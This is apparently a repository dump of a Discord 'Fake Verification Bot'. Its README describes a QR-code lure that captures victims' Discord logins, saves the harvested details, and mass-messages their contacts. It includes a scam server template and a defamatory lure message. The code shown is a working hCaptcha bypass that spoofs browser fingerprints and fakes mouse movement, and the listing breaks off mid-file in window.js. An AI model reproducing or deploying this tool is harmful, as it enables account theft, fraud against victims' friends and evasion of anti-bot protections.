├── LICENSE
├── README.md
├── async_hcaptcha
├── __init__.py
├── __pycache__
│ ├── __init__.cpython-311.pyc
│ ├── asynchcaptcha.cpython-311.pyc
│ └── utils.cpython-311.pyc
├── asynchcaptcha.py
├── utils.py
└── window.js
├── blacklist.txt
├── config.json
├── driver
└── chromedriver.exe
├── main.py
├── requirements.txt
└── setup.bat
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 a5traa
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [Discord] - Fake Verification Bot (V1.0.0)
2 |
3 |
4 |
5 |
6 | 
7 |
8 |
9 | 
10 |
11 |
12 | 
13 |
14 |
15 | 
16 |
17 |
18 | 
19 |
20 |
21 |
22 |
23 | [Discord] - This Bot is a Script Gathering for Windows systems written in Python.
24 |
25 |
26 | My work was never created to be used in a malicious way. I noticed that it was used to scam other people and I'm sorry about that.
27 | I'm thinking of not deleting this directory to not avoid further damage.
28 |
29 |
30 |
31 | ## Disclaimer
32 |
33 | |Bot was made for Educational purposes|
34 | |-------------------------------------------------|
35 | This project was created only for good purposes and personal use.
36 | By using this Bot, you agree that you hold responsibility and accountability of any consequences caused by your actions.
37 |
38 | ## Features
39 |
40 | - Async QR Code Management
41 | - Using Websockets (no browser used)
42 | - Personal QR Code (visible only to the person passing the verification)
43 | - Saves the information in a json file
44 | - Can gives a role to the user after his verification
45 | - Can send a message to all the user's DMs + all user's Friend
46 | - Possibility to define a logs channel
47 | - Easy to use + Intuitive UI (like my [SelfBot](https://github.com/AstraaDev/Discord-SelfBot))
48 |
49 | ## How To Setup/Install
50 |
51 | #### First of all please set your informations in the config.json file!
52 | ```json
53 | {
54 | "botToken": "BOT-TOKEN-HERE", #For more information, read below
55 | "logs_channel_id": "LOGS-CHANNEL-ID-HERE", #ID of the channel to which the bot logs will be sent
56 |
57 | "prefix": "PREFIX-HERE",
58 | "command_name": "COMMAND-NAME-HERE",
59 |
60 | "give_role": false, #Can take the value: true or false
61 | "role_name": "ROLE-NAME-HERE", #Name of the role you want to give to the user after scanning the QR Code
62 |
63 | "mass_dm": 0, #Can take the value: 0 (Disable), 1 (current user's dms), 2 (user's friends), 3 (Current DMs + Friends)
64 | "message": "MESSAGE-HERE" #Message you want to send to all user's DMs after scanning the QR code
65 | }
66 | ```
67 | #### Set up and invite your Bot.
68 | - Create a bot on the [Discord Developer page](https://discord.com/developers/applications)
69 | - Enable all instances in the "Bot" tab
70 | - Invite your bot using this [invite](https://discord.com/api/oauth2/authorize?client_id=CLIENTID&permissions=8&scope=applications.commands%20bot) (replace CLIENTID by the ID of your Bot)
71 |
72 | #### 1st・Installation (Automated installation)
73 | ```
74 | Launch the setup.bat file. A new file will be created. You will only have to launch it.
75 | ```
76 |
77 | #### 2nd・Installation (Manual installation)
78 | ```
79 | $ git clone https://github.com/FuckingToasters/Fake-Verification-Bot.git
80 | $ python -m pip install -r requirements.txt
81 | $ python main.py
82 | ```
83 |
84 | ## Additional Informations
85 | General Informations:
86 | - If you have a problem, [CLICK HERE](https://youtu.be/B5xxURQtd3A) to watch the YouTube video.
87 | - If you find any malfunction, contact me on Discord: Astraa#6100 or join my [Discord Server](https://dsc.gg/astraadev).
88 |
89 | Nice to Have:
90 | - Discord Scam Guild Template: https://discord.new/5QaMySZDeMAB
91 | - Mass DM Message Template: `Hey umm idk what happend or if it's really you but it was your name and the same avatar and you sent a girl erm***** stuff like what the fuck? check #exposed and you'll see. Anyways until you explain what happend im blocking you. sorry if this is an understanding but i do not wanna take risks with having creeps on my friendlist.`
92 |
93 |
94 | ## Example
95 | 
96 |
97 |
98 | ## Credits
99 | Many thanks to [RuslanUC](https://github.com/RuslanUC) for [RemoteAuthClient](https://github.com/RuslanUC/RemoteAuthClient) and [TurfuFrogy](https://github.com/TurfuFrogy) for developing the database part of the tool.
100 |
--------------------------------------------------------------------------------
/async_hcaptcha/__init__.py:
--------------------------------------------------------------------------------
1 | from .asynchcaptcha import AioHcaptcha
2 |
--------------------------------------------------------------------------------
/async_hcaptcha/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuckingToasters/Fake-Verification-Bot/e4ebce7ec27898b0f9764d6ac6fc49e1153c07f3/async_hcaptcha/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/async_hcaptcha/__pycache__/asynchcaptcha.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuckingToasters/Fake-Verification-Bot/e4ebce7ec27898b0f9764d6ac6fc49e1153c07f3/async_hcaptcha/__pycache__/asynchcaptcha.cpython-311.pyc
--------------------------------------------------------------------------------
/async_hcaptcha/__pycache__/utils.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuckingToasters/Fake-Verification-Bot/e4ebce7ec27898b0f9764d6ac6fc49e1153c07f3/async_hcaptcha/__pycache__/utils.cpython-311.pyc
--------------------------------------------------------------------------------
/async_hcaptcha/asynchcaptcha.py:
--------------------------------------------------------------------------------
1 | import re
2 | from asyncio import get_event_loop, sleep as asleep, create_subprocess_shell, subprocess
3 | from base64 import b64decode
4 | from concurrent.futures import ThreadPoolExecutor
5 | from datetime import datetime
6 | from hashlib import sha1
7 | from json import dumps as jdumps, loads as jloads
8 | from logging import getLogger
9 | from math import ceil, floor
10 | from random import randint, choice
11 | from time import time
12 | from typing import Tuple
13 | from urllib.parse import urlparse
14 | from os.path import join as pjoin, dirname, realpath
15 | from aiohttp import ClientSession
16 | from selenium.webdriver import Chrome, ChromeOptions
17 | from selenium.webdriver.chrome.service import Service
18 |
19 | from .utils import mouse_curve, getUrl
20 |
21 | import hcaptcha_challenger
22 | hcaptcha_challenger.logger.remove() # TODO: Redirect logs from loguru to logging or use loguru instead of logging
23 |
24 | log = getLogger("AsyncHcaptcha")
25 |
26 | with open(pjoin(dirname(realpath(__file__)), "window.js")) as f:
27 | w = f.read()
28 | w = w.replace(" ", "")
29 | w = w.replace("\n", "")
30 | w += ";const window = new Window();"
31 | _WINDOW = w
32 |
33 | class MotionData:
34 | def __init__(self, x=0, y=0, controller=None):
35 | self._point = (x, y)
36 | self._meanPeriod = 0
37 | self._meanCounter = 0
38 | self._data = []
39 | self._controller = controller
40 |
41 | @property
42 | def timestamp(self):
43 | return self._controller.timestamp
44 |
45 | @timestamp.setter
46 | def timestamp(self, val):
47 | self._controller.timestamp = val
48 |
49 | def moveTo(self, x, y, s):
50 | curve = mouse_curve(self._point, (x, y), s)
51 | for pt in curve:
52 | self.addPoint(*pt)
53 | self._point = self._data[-1][:2]
54 |
55 | def addPoint(self, x, y):
56 | self.timestamp += randint(20, 40)
57 | self._data.append([x, y, self.timestamp])
58 | if self._meanCounter != 0:
59 | delta = self._data[-1][2] - self._data[-2][2]
60 | self._meanPeriod = (self._meanPeriod * self._meanCounter + delta) / (self._meanCounter + 1)
61 | self._meanPeriod += 1
62 |
63 | @property
64 | def data(self):
65 | return self._data
66 |
67 | @property
68 | def mp(self):
69 | return self._meanPeriod
70 |
71 | @property
72 | def point(self):
73 | return self._point
74 |
75 | class MotionController:
76 | def __init__(self, timestamp: int, start_point: Tuple[int, int]):
77 | self.timestamp = timestamp or time()
78 | self._mm = MotionData(*start_point, controller=self)
79 | self._md = MotionData(controller=self)
80 | self._mu = MotionData(controller=self)
81 |
82 | self._lastPoint = start_point
83 |
84 | def move(self, x, y, s):
85 | self._mm.moveTo(x, y, s)
86 | self._lastPoint = self._mm.point
87 |
88 | def click(self, x=0, y=0):
89 | if not x and not y:
90 | x, y = self._lastPoint
91 | self._md.addPoint(x, y)
92 | self._mu.addPoint(x, y)
93 | self._lastPoint = (x, y)
94 |
95 | def get(self, mm=True, md=True, mu=True):
96 | r = {}
97 | if mm:
98 | r["mm"] = self._mm.data
99 | r["mm-mp"] = self._mm.mp
100 | if md:
101 | r["md"] = self._md.data
102 | r["md-mp"] = self._md.mp
103 | if mu:
104 | r["mu"] = self._mu.data
105 | r["mu-mp"] = self._mu.mp
106 | return r
107 |
108 | class AioHcaptcha:
109 | def __init__(self, sitekey, url, args, captcha_callback=None, autosolve=False, headers=None):
110 | self.sitekey = sitekey
111 | self.url = url
112 | self.domain = urlparse(url).netloc
113 | if "executable_path" in args:
114 | args["chromedriver"] = args["executable_path"]
115 | del args["executable_path"]
116 | if "node" not in args and "chromedriver" not in args:
117 | raise AttributeError("")
118 | self.args = args
119 | self.headers = headers
120 |
121 | autosolve = autosolve or not captcha_callback
122 |
123 | self._req = None
124 | self._start = None
125 | self._script = {}
126 | self._version = "21130e0"
127 | self._widgetId = ""
128 | self._question_callback = captcha_callback if not autosolve else self.autosolve
129 | self._retries = 0
130 |
131 | log.debug(f"Initialized {self.__class__.__name__} with "
132 | f"sitekey={self.sitekey}, url={self.url}, domain={self.domain}, args={self.args}, "
133 | f"autosolve={autosolve}, _question_callback={self._question_callback}.")
134 |
135 | async def _getN(self) -> str:
136 | if self._req["type"] == "hsw":
137 | log.debug("Generating proof with type = hsw.")
138 | token = self._req["req"].split(".")[1].encode("utf8")
139 | token += b'=' * (-len(token) % 4)
140 | d = jloads(b64decode(token).decode("utf8"))
141 | log.debug(f"Hsw url: {d['l']}/hsw.js")
142 | if f"hsw_{d['l']}" not in self._script:
143 | self._script[f"hsw_{d['l']}"] = await getUrl(f"{d['l']}/hsw.js")
144 | return await self._solve_hsw(d['l'])
145 | elif self._req["type"] == "hsl":
146 | log.debug("Generating proof with type = hsl.")
147 | await self._solve_hsl()
148 |
149 | async def _solve_hsw(self, sc: str) -> str:
150 | token = self._req["req"]
151 | script = self._script[f"hsw_{sc}"]
152 |
153 | async def _hsw_node():
154 | proc = await create_subprocess_shell(self.args["node"]+" -", stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
155 | stdout, _ = await proc.communicate((_WINDOW + "\n\n" + script + "\n\nasync function idk(){" + f"console.log(await hsw(\"{token}\"));" + "}\nidk();").encode("utf8"))
156 | data = stdout.decode("utf8").strip()
157 | return data
158 |
159 | async def _hsw_chromedriver():
160 | def _hsw():
161 | log.debug("Running chromedriver.")
162 | options = ChromeOptions()
163 | options.add_argument("--headless")
164 | options.add_argument("--disable-gpu")
165 | options.add_argument("--disable-extensions")
166 | options.add_argument("--no-sandbox")
167 | options.add_argument("--disable-dev-shm-usage")
168 | options.add_experimental_option('excludeSwitches', ['enable-logging'])
169 | driver = Chrome(service=Service(executable_path=self.args["chromedriver"]), options=options)
170 | res = driver.execute_script(f"{script}\n\nreturn await hsw(\"{token}\");")
171 | log.debug(f"Got proof result: {res}. Closing chromedriver...")
172 | driver.close()
173 | return res
174 | return await get_event_loop().run_in_executor(ThreadPoolExecutor(4), _hsw)
175 |
176 | if "node" in self.args:
177 | res = await _hsw_node()
178 | if not res:
179 | if "chromedriver" in self.args:
180 | return await _hsw_chromedriver()
181 | return res
182 | elif "chromedriver" in self.args:
183 | return await _hsw_chromedriver()
184 |
185 | async def _solve_hsl(self) -> str: # From https://github.com/AcierP/py-hcaptcha/blob/main/hcaptcha/proofs/hsl.py
186 | x = "0123456789/:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
187 | token = self._req["req"].split(".")[1].encode("utf8")
188 | token += b'=' * (-len(token) % 4)
189 | req = jloads(b64decode(token).decode("utf8"))
190 |
191 | def a(r):
192 | for t in range(len(r) - 1, -1, -1):
193 | if r[t] < len(x) - 1:
194 | r[t] += 1
195 | return True
196 | r[t] = 0
197 | return False
198 |
199 | def i(r):
200 | t = ""
201 | for n in range(len(r)):
202 | t += x[r[n]]
203 | return t
204 |
205 | def o(r, e):
206 | hashed = sha1(e.encode())
207 | t = hashed.digest()
208 | n = -1
209 | p = []
210 | for n in range(n + 1, 8 * len(t)):
211 | e = t[floor(n / 8)] >> n % 8 & 1
212 | p.append(e)
213 | l = p[:r]
214 | def index2(b,y):
215 | if y in b:
216 | return b.index(y)
217 | return -1
218 | return 0 == l[0] and index2(l, 1) >= r - 1 or -1 == index2(l, 1)
219 |
220 | def get():
221 | for e in range(25):
222 | n = [0 for _ in range(e)]
223 | while a(n):
224 | u = req["d"] + "::" + i(n)
225 | if o(req["s"], u):
226 | return i(n)
227 |
228 | result = get()
229 | hsl = ":".join([
230 | "1",
231 | str(req["s"]),
232 | datetime.now().isoformat()[:19].replace("T", "").replace("-", "").replace(":", ""),
233 | req["d"],
234 | "",
235 | result
236 | ])
237 | log.debug(f"Got proof result: {hsl}.")
238 | return hsl
239 |
240 | @property
241 | def _motionData(self) -> dict:
242 | return {
243 | "st": self._start + 1000 + randint(10, 100),
244 | "v": 1,
245 | "topLevel": {
246 | "inv": False,
247 | "st": self._start,
248 | "sc": {
249 | "availWidth": 1920, "availHeight": 1022, "width": 1920, "height": 1080, "colorDepth": 24,
250 | "pixelDepth": 24, "availLeft": 0, "availTop": 18, "onchange": None, "isExtended": True
251 | },
252 | "nv": {
253 | "vendorSub": "", "productSub": "20030107", "vendor": "Google Inc.", "maxTouchPoints": 0,
254 | "scheduling": {}, "userActivation": {}, "doNotTrack": "1", "geolocation": {}, "connection": {},
255 | "pdfViewerEnabled": True, "webkitTemporaryStorage": {}, "webkitPersistentStorage": {},
256 | "hardwareConcurrency": 8, "cookieEnabled": True, "appCodeName": "Mozilla", "appName": "Netscape",
257 | "appVersion": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36",
258 | "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36",
259 | "platform": "Win32", "product": "Gecko", "language": "en-US", "languages": ["en-US", "en"],
260 | "onLine": True, "webdriver": False, "bluetooth": {}, "clipboard": {}, "credentials": {},
261 | "keyboard": {}, "managed": {}, "mediaDevices": {}, "storage": {}, "serviceWorker": {},
262 | "virtualKeyboard": {}, "wakeLock": {}, "deviceMemory": 8, "ink": {}, "hid": {}, "locks": {},
263 | "mediaCapabilities": {}, "mediaSession": {}, "permissions": {}, "presentation": {}, "serial": {},
264 | "usb": {}, "windowControlsOverlay": {}, "xr": {},
265 | "userAgentData": {
266 | "brands": [
267 | {"brand": "Chromium", "version": "106"},
268 | {"brand": "Google Chrome", "version": "106"},
269 | {"brand": "Not;A=Brand", "version": "99"}
270 | ],
271 | "mobile": False,
272 | "platform": "Windows"
273 | },
274 | "plugins": [
275 | "internal-pdf-viewer",
276 | "internal-pdf-viewer",
277 | "internal-pdf-viewer",
278 | "internal-pdf-viewer",
279 | "internal-pdf-viewer"
280 | ]
281 | },
282 | "dr": "", "exec": False, "wn": [], "wn-mp": 0, "xy": [], "xy-mp": 0,
283 | },
284 | "session": [],
285 | "widgetList": [self._widgetId],
286 | "widgetId": self._widgetId,
287 | "href": self.url,
288 | "prev": {"escaped": False, "passed": False, "expiredChallenge": False, "expiredResponse": False}
289 | }
290 |
291 | async def _getMotionData(self) -> dict:
292 | j = self._motionData
293 |
294 | log.debug("Generating motionData...")
295 | mc = MotionController(j["st"], (randint(0, 480), randint(0, 270)))
296 | mc.move(randint(1440, 1920), randint(810, 1022), 35)
297 | mc.click()
298 | j.update(**mc.get())
299 |
300 | tmm = MotionController(self._start + 1000 + randint(100, 150), (randint(0, 480), randint(0, 270)))
301 | tmm.move(randint(1440, 1920), randint(810, 1022), 70)
302 |
303 | j["topLevel"].update(tmm.get(md=False, mu=False))
304 |
305 | log.debug(f"motionData={j}")
306 | return j
307 |
308 | async def _getMotionDataForSolved(self, answers: dict) -> dict:
309 | j = self._motionData
310 | j["dct"] = j["st"]
311 | ans = list(answers.values())
312 | sx = randint(300, 500)
313 | sy = randint(150, 300)
314 |
315 | log.debug("Generating motionData for solved captcha...")
316 | mc = MotionController(self._start, (randint(1440, 1920), randint(810, 1022)))
317 | mc.move(randint(0, 480), randint(0, 270), 40)
318 | mc.click()
319 | j["topLevel"].update(**mc.get())
320 |
321 | mc = MotionController(j["st"] + randint(50, 150), (sx, sy))
322 | for idx, ans in enumerate(ans):
323 | if idx == 9:
324 | mc.move(randint(330, 370), randint(420, 460), randint(10, 15))
325 | mc.click()
326 | if ans == "true":
327 | row = ceil(round((idx + 1) / 3))
328 | col = (idx + 1) % 3
329 | if col == 0:
330 | col = 3
331 | x = sx + 80 * row + randint(80, 160)
332 | y = sy + 80 * col + randint(80, 160)
333 | mc.move(x, y, randint(10, 15))
334 | mc.click()
335 | j.update(**mc.get())
336 | t = j["mm"][-1][2]
337 | if t / 1000 > time():
338 | s = (t - time() * 1000) / 1000
339 | await asleep(s)
340 | log.debug(f"motionData={j}")
341 | return j
342 |
343 | async def autosolve(self, question: str, tasklist: dict) -> dict:
344 | log.debug("Solving captcha with AutoSolver.")
345 | answers = {}
346 |
347 | imgs = []
348 | for uuid, url in tasklist.items():
349 | imgs.append(await getUrl(url, False))
350 |
351 | def _autosolve():
352 | hcaptcha_challenger.install()
353 | challenger = hcaptcha_challenger.new_challenger()
354 | if res := challenger.classify(question, imgs):
355 | return res
356 |
357 | res = await get_event_loop().run_in_executor(ThreadPoolExecutor(4), _autosolve)
358 | log.debug(f"AutoSolver result: {res}")
359 | if res:
360 | for idx, uuid in enumerate(tasklist.keys()):
361 | answers[uuid] = "true" if res[idx] else "false"
362 |
363 | log.debug(f"Answers: {answers}")
364 | return answers
365 |
366 | async def solve(self, retry_count=1, custom_params=None):
367 | if not custom_params:
368 | custom_params = {}
369 | log.debug(f"Solving with retry_count={retry_count}, custom_params={custom_params}")
370 |
371 | self._widgetId = "".join([choice("abcdefghijklmnopqrstuvwxyz0123456789") for _ in range(12)])
372 |
373 | # Initialize session with headers
374 | self._start = int(time() * 1000 - 2000)
375 | sess = ClientSession(headers={
376 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
377 | "Origin": "https://newassets.hcaptcha.com",
378 | "Referer": "https://newassets.hcaptcha.com/",
379 | "dnt": "1",
380 | "Sec-Fetch-Site": "same-site",
381 | "Sec-Fetch-Mode": "cors",
382 | "Sec-Fetch-Dest": "empty",
383 | "Accept-Language": "en-US,en;q=0.9",
384 | **(self.headers if isinstance(self.headers, dict) else {})
385 | })
386 |
387 | # Get latest hcaptcha version code
388 | api_js = await sess.get("https://js.hcaptcha.com/1/api.js")
389 | api_js = await api_js.text()
390 | versions = re.findall(r'captcha\\/v1\\/([a-z0-9]{4,8})\\/static', api_js)
391 | if versions:
392 | self._version = versions[0]
393 |
394 | log.debug(f"HCaptcha version: {self._version}")
395 |
396 | # Get site config
397 | siteconfig = await sess.post("https://hcaptcha.com/checksiteconfig", params={
398 | "v": self._version,
399 | "host": self.domain,
400 | "sitekey": self.sitekey,
401 | "sc": 1,
402 | "swa": 1
403 | })
404 |
405 | siteconfig_j = await siteconfig.json()
406 | log.debug(f"checksiteconfig response code: {siteconfig.status}")
407 | log.debug(f"SiteConfig: {siteconfig_j}")
408 | self._req = siteconfig_j["c"]
409 |
410 | # Get captcha
411 | captcha = await sess.post(f"https://hcaptcha.com/getcaptcha/{self.sitekey}", data={
412 | "v": self._version,
413 | "host": self.domain,
414 | "sitekey": self.sitekey,
415 | "hl": "en-US",
416 | "n": await self._getN(),
417 | "c": jdumps(self._req),
418 | "motionData": await self._getMotionData(),
419 | **custom_params
420 | }, headers={"Content-Type": "application/x-www-form-urlencoded"})
421 |
422 | log.debug(f"getcaptcha/{self.sitekey} response code: {siteconfig.status}")
423 |
424 | # Return captcha key if it in response
425 | captcha = await captcha.json()
426 | log.debug(f"GetCaptcha: {captcha}")
427 | if captcha.get("pass"):
428 | log.debug(f"Captcha solved!")
429 | return captcha["generated_pass_UUID"]
430 |
431 | key = captcha["key"]
432 | tasklist = {task["task_key"]: task["datapoint_uri"] for task in captcha["tasklist"]} # Format tasks to `uuid: url` format
433 |
434 | log.debug(f"Question: {captcha['requester_question']['en']}")
435 | self._start = int(time() * 1000 - 2000)
436 | if (answers := await self._question_callback(captcha["requester_question"]["en"], tasklist)) is None: # Get answers
437 | log.debug(f"Can't solve this captcha. Retrying...")
438 | self._retries += 1
439 | return await self.solve(retry_count, custom_params)
440 | log.debug(f"Got answers: {answers}, sending to /checkcaptcha/{self.sitekey}/{key}")
441 |
442 | # Send answers
443 | res = await sess.post(f"https://hcaptcha.com/checkcaptcha/{self.sitekey}/{key}", json={
444 | "answers": answers,
445 | "v": self._version,
446 | "serverdomain": self.domain,
447 | "job_mode": "image_label_binary",
448 | "c": jdumps(self._req),
449 | "n": await self._getN(),
450 | "sitekey": self.sitekey,
451 | "motionData": jdumps(await self._getMotionDataForSolved(answers))
452 | })
453 | log.debug(f"checkcaptcha/{self.sitekey}/{key} response code: {res.status}")
454 |
455 | r = await res.json()
456 | await sess.close()
457 |
458 | log.debug(f"CheckCaptcha response: {r}")
459 |
460 | # Return captcha key if it in response
461 | if r.get("pass"):
462 | log.debug(f"Captcha solved!")
463 | return r["generated_pass_UUID"]
464 |
465 | # Retry if failed to solve captcha
466 | if retry_count > 0 and self._retries < retry_count:
467 | log.debug(f"Retrying...")
468 | self._retries += 1
469 | return await self.solve(retry_count, custom_params)
--------------------------------------------------------------------------------
/async_hcaptcha/utils.py:
--------------------------------------------------------------------------------
1 | from math import ceil
2 | from random import choice
3 |
4 | from aiohttp import ClientSession
5 |
6 |
7 | def _bezier(xys, ts):
8 | result = []
9 | for t in ts:
10 | tpowers = (t ** i for i in range(4))
11 | upowers = reversed([(1 - t) ** i for i in range(4)])
12 | coefs = [c * a * b for c, a, b in zip([1, 3, 3, 1], tpowers, upowers)]
13 | result.append(list(sum([coef * p for coef, p in zip(coefs, ps)]) for ps in zip(*xys)))
14 | return result
15 |
16 | def mouse_curve(start_pos, end_pos, ln):
17 | ts = [t / ln for t in range(int(ln / 100 * 101))]
18 | control_1 = (start_pos[0] + choice((-1, 1)) * abs(ceil(end_pos[0]) - ceil(start_pos[0])) * 0.01 * 3,
19 | start_pos[1] + choice((-1, 1)) * abs(ceil(end_pos[1]) - ceil(start_pos[1])) * 0.01 * 3)
20 | control_2 = (start_pos[0] + choice((-1, 1)) * abs(ceil(end_pos[0]) - ceil(start_pos[0])) * 0.01 * 3,
21 | start_pos[1] + choice((-1, 1)) * abs(ceil(end_pos[1]) - ceil(start_pos[1])) * 0.01 * 3)
22 | xys = [start_pos, control_1, control_2, end_pos]
23 | points = _bezier(xys, ts)
24 | return [[ceil(x), ceil(y)] for x, y, in points]
25 |
26 | async def getUrl(url, decode=True):
27 | async with ClientSession() as sess:
28 | async with sess.get(url) as resp:
29 | data = await resp.content.read()
30 | if not decode:
31 | return data
32 | return data.decode("utf8")
--------------------------------------------------------------------------------
/async_hcaptcha/window.js:
--------------------------------------------------------------------------------
1 | function define(object, properties) {
2 | for (const name of Object.getOwnPropertyNames(properties)) {
3 | const propDesc = Object.getOwnPropertyDescriptor(properties, name);
4 | Object.defineProperty(object, name, propDesc);
5 | }
6 | };
7 |
8 | class Screen {
9 | get availWidth() { return 1920; }
10 | get availHeight() { return 1022; }
11 | get width() { return 1920; }
12 | get height() { return 1080; }
13 | get colorDepth() { return 24; }
14 | get pixelDepth() { return 24; }
15 | }
16 | Object.defineProperties(Screen.prototype, {
17 | availWidth: { enumerable: true },
18 | availHeight: { enumerable: true },
19 | width: { enumerable: true },
20 | height: { enumerable: true },
21 | colorDepth: { enumerable: true },
22 | pixelDepth: { enumerable: true },
23 | [Symbol.toStringTag]: { value: "Screen", configurable: true }
24 | });
25 |
26 | class Storage {
27 | constructor() {
28 | this.st = {}
29 | }
30 |
31 | key(index) {
32 | if (arguments.length < 1) {
33 | throw new TypeError("Failed to execute 'key' on 'Storage': 1 argument required, but only " + arguments.length + " present.");
34 | }
35 | const args = [];
36 | { let curArg = arguments[0]; args.push(curArg);}
37 | return this.st.key(...args);
38 | }
39 |
40 | getItem(key) {
41 | if (arguments.length < 1) {
42 | throw new TypeError("Failed to execute 'getItem' on 'Storage': 1 argument required, but only " + arguments.length + " present.");
43 | }
44 | const args = [];
45 | { let curArg = arguments[0]; args.push(curArg); }
46 | return this.st.getItem(...args);
47 | }
48 |
49 | setItem(key, value) {
50 | if (arguments.length < 2) {
51 | throw new TypeError("Failed to execute 'setItem' on 'Storage': 2 arguments required, but only " + arguments.length + " present.");
52 | }
53 | const args = [];
54 | { let curArg = arguments[0]; args.push(curArg); }
55 | { let curArg = arguments[1]; args.push(curArg); }
56 | return this.st.setItem(...args);
57 | }
58 |
59 | removeItem(key) {
60 | if (arguments.length < 1) {
61 | throw new TypeError("Failed to execute 'removeItem' on 'Storage': 1 argument required, but only " + arguments.length + " present.");
62 | }
63 | const args = [];
64 | { let curArg = arguments[0]; args.push(curArg); }
65 | return this.st.removeItem(...args);
66 | }
67 |
68 | clear() {
69 | if (!this || !module.exports.is(this)) {
70 | throw new TypeError("Illegal invocation");
71 | }
72 |
73 | return this.st.clear();
74 | }
75 |
76 | get length() {
77 | if (!this || !module.exports.is(this)) {
78 | throw new TypeError("Illegal invocation");
79 | }
80 |
81 | return this.st["length"];
82 | }
83 | }
84 | Object.defineProperties(Storage.prototype, {
85 | key: { enumerable: true },
86 | getItem: { enumerable: true },
87 | setItem: { enumerable: true },
88 | removeItem: { enumerable: true },
89 | clear: { enumerable: true },
90 | length: { enumerable: true },
91 | [Symbol.toStringTag]: { value: "Storage", configurable: true }
92 | });
93 |
94 | class Navigator {
95 | javaEnabled() { return false; }
96 | get appCodeName() { return "Mozilla"; }
97 | get appName() { return "Netscape"; }
98 | get appVersion() { return "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36"; }
99 | get platform() { return "Win32"; }
100 | get product() { return "Gecko"; }
101 | get productSub() { return "20030107"; }
102 | get userAgent() { return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36"; }
103 | get vendor() { return "Google Inc."; }
104 | get vendorSub() { return ""; }
105 | get language() { return "en-US"; }
106 | get languages() { return ["en-US", "en"]; }
107 | get onLine() { return true; }
108 | get cookieEnabled() { return "true"; }
109 | get plugins() { return ["internal-pdf-viewer"]; }
110 | get mimeTypes() { return ["application/pdf", "text/pdf"]; }
111 | get hardwareConcurrency() { return 8; }
112 | }
113 | Object.defineProperties(Navigator.prototype, {
114 | javaEnabled: { enumerable: true },
115 | appCodeName: { enumerable: true },
116 | appName: { enumerable: true },
117 | appVersion: { enumerable: true },
118 | platform: { enumerable: true },
119 | product: { enumerable: true },
120 | productSub: { enumerable: true },
121 | userAgent: { enumerable: true },
122 | vendor: { enumerable: true },
123 | vendorSub: { enumerable: true },
124 | language: { enumerable: true },
125 | languages: { enumerable: true },
126 | onLine: { enumerable: true },
127 | cookieEnabled: { enumerable: true },
128 | plugins: { enumerable: true },
129 | mimeTypes: { enumerable: true },
130 | hardwareConcurrency: { enumerable: true },
131 | [Symbol.toStringTag]: { value: "Navigator", configurable: true }
132 | });
133 |
134 | function Window() {
135 | const window = this;
136 | this._globalProxy = this;
137 | let timers = Object.create(null);
138 | let animationFrameCallbacks = Object.create(null);
139 | this._document = {
140 | "origin": "https://captcha/",
141 | "body": {"innerText": "", "innerHTML": ""},
142 | "getElementById": () => {},
143 | };
144 | this._parent = this._top = this._globalProxy;
145 | this._length = 0;
146 | this._commonForOrigin = {
147 | [this._document.origin]: {
148 | localStorageArea: new Map(),
149 | sessionStorageArea: new Map(),
150 | windowsInSameOrigin: [this]
151 | }
152 | };
153 |
154 | this._currentOriginData = this._commonForOrigin[this._document.origin];
155 |
156 | this._localStorage = new Storage();
157 | this._sessionStorage = new Storage();
158 | const navigator = new Navigator();
159 | const screen = new Screen();
160 |
161 | define(this, {
162 | get length() { return window._length; },
163 | get window() { return window._globalProxy; },
164 | get frameElement() { return undefined; },
165 | get frames() { return window._globalProxy; },
166 | get self() { return window._globalProxy; },
167 | get parent() { return window._parent; },
168 | get top() { return window._top; },
169 | get document() { return window._document; },
170 | get navigator() { return navigator; },
171 | get screen() { return screen; },
172 | get localStorage() { return this._localStorage; },
173 | get sessionStorage() { return this._sessionStorage; }
174 | });
175 |
176 | let latestTimerId = 0;
177 | let latestAnimationFrameCallbackId = 0;
178 |
179 | this.setTimeout = function (fn, ms) {
180 | const args = [];
181 | for (let i = 2; i < arguments.length; ++i) {
182 | args[i - 2] = arguments[i];
183 | }
